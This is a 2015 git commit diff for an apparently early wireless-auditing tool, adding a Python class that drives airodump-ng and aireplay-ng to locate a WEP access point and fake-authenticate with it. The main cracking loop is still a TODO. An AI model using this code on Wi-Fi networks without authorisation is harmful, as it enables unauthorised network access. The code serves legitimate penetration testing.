Handshake detection, various bug fixes.

This commit is contained in:
derv82
2015-05-30 05:35:36 -07:00
parent 1c99b74cf2
commit aebc38c631
9 changed files with 578 additions and 48 deletions

View File

@@ -1,33 +1,94 @@
#!/usr/bin/python
from Attack import Attack
from Airodump import Airodump
from Aireplay import Aireplay, WEPAttackType
from Configuration import Configuration
from Color import Color
import time
class AttackWEP(Attack):
'''
Contains logic for attacking a WEP-encrypted access point.
'''
fakeauth_wait = 5
def __init__(self, target):
super(AttackWEP, self).__init__(target)
def run(self):
start_time = time.time()
'''
Initiates full WEP attack.
Including airodump-ng starting, cracking, etc.
'''
# First, start Airodump process
with Airodump(channel=target.channel,
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
output_file_prefix='wep')
as airodump:
output_file_prefix='wep') as airodump:
while len(airodump.targets) == 0:
# Target has not appeared in airodump yet
# Wait for it to appear
if int(time.time() - start_time) > 10:
# Target didn't appear after 10 seconds, drop out
print "Target did not show after 10 seconds, stopping"
return None
time.sleep(1)
continue
airodump_target = self.wait_for_target(airodump)
airodump_target = airodump.targets[0]
for attack_num in xrange(1, 6):
pass
#aireplay = Aireplay(self.target, attack_num)
'''
TODO (pending until I get a router to test on)
* Wait for IVS to start flowing, e.g. sleep(1).
* if IVS > threshold, start cracking.
* Check aireplay.is_running() to see if it completed/failed.
* Continue attacks depending on aireplay status.
'''
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
'''
start_time = time.time()
aireplay = Aireplay(self.target, 'fakeauth')
process_failed = False
while aireplay.is_running():
if int(time.time() - start_time) > AttackWEP.fakeauth_wait:
aireplay.stop()
process_failed = True
break
time.sleep(1)
# Check if fake-auth was successful
if process_failed:
fakeauth = False
else:
output = aireplay.get_output()
fakeauth = 'association successful' in output.lower()
if fakeauth:
Color.pl('{+} {G}fake-authentication successful{W}')
else:
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
else:
# Warn that fakeauth failed
Color.pl('{!} {O}' +
'unable to fake-authenticate with target' +
' (%s){W}' % self.target.bssid)
Color.pl('{!} continuing attacks because' +
' {G}--require-fakeauth{W} was not set')
return fakeauth
if __name__ == '__main__':
from Target import Target
fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',')
target = Target(fields)
wep = AttackWEP(target)
wep.fake_auth()
# Fake authenticate
#aireplay = Aireplay()